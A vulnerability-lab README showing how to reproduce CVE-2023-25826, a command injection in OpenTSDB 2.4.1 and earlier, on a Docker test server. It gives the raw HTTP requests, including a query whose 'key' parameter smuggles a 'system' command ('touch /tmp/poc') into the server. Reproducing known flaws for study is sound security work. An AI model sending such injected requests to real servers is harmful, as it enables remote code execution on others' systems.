Aaron
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72 lines
2.2 KiB
Markdown
72 lines
2.2 KiB
Markdown
# OpenTSDB Arbitrary Command Injection Remote Code Execution（CVE-2023-25826）
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[中文版本(Chinese version)](README.zh-cn.md)
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OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase.
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In version 2.4.1 and earlier, there is a command injection vulnerability. This vulnerability is actually due to an incomplete fix for CVE-2020-35476, so the entire reproduction process is similar to the previous one.
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References:
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- https://www.synopsys.com/blogs/software-security/opentsdb/
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- https://github.com/OpenTSDB/opentsdb/pull/2275
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## Environment
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Execute the following command to start a OpenTSDB server 2.4.1:
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```
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docker-compose up -d
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```
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Once the service is started, visit `http://your-ip:4242` to see the web interface of the OpenTSDB.
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## Exploit
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Simialar as CVE-2020-35476, you need to know the name of a metric, visit `http://your-ip:4242/api/suggest?type=metrics&q=&max=10`to find out the metric list.
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Due to the `tsd.core.auto_create_metrics` is set to `true` in this vulnerable OpenTSDB, you can create a metric named `sys.cpu.nice` through following request, if the metrics are empty:
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```
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POST /api/put/ HTTP/1.1
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Host: your-ip:4242
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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Content-Type: application/x-www-form-urlencoded
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Connection: close
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Content-Length: 150
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{
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"metric": "sys.cpu.nice",
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"timestamp": 1346846400,
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"value": 20,
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"tags": {
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"host": "web01",
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"dc": "lga"
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}
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}
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```
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If at least one metric exists and is not empty, the above request is not required.
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Then the POC is different here, with the difference in the "key" parameter.
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```
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GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=1&xrange=&y2range=[42:42]&key=%3Bsystem%20%22touch%20/tmp/poc%22%20%22&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
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Host: your-ip:4242
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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Connection: close
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```
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`touch /tmp/poc` has been successfully executed:
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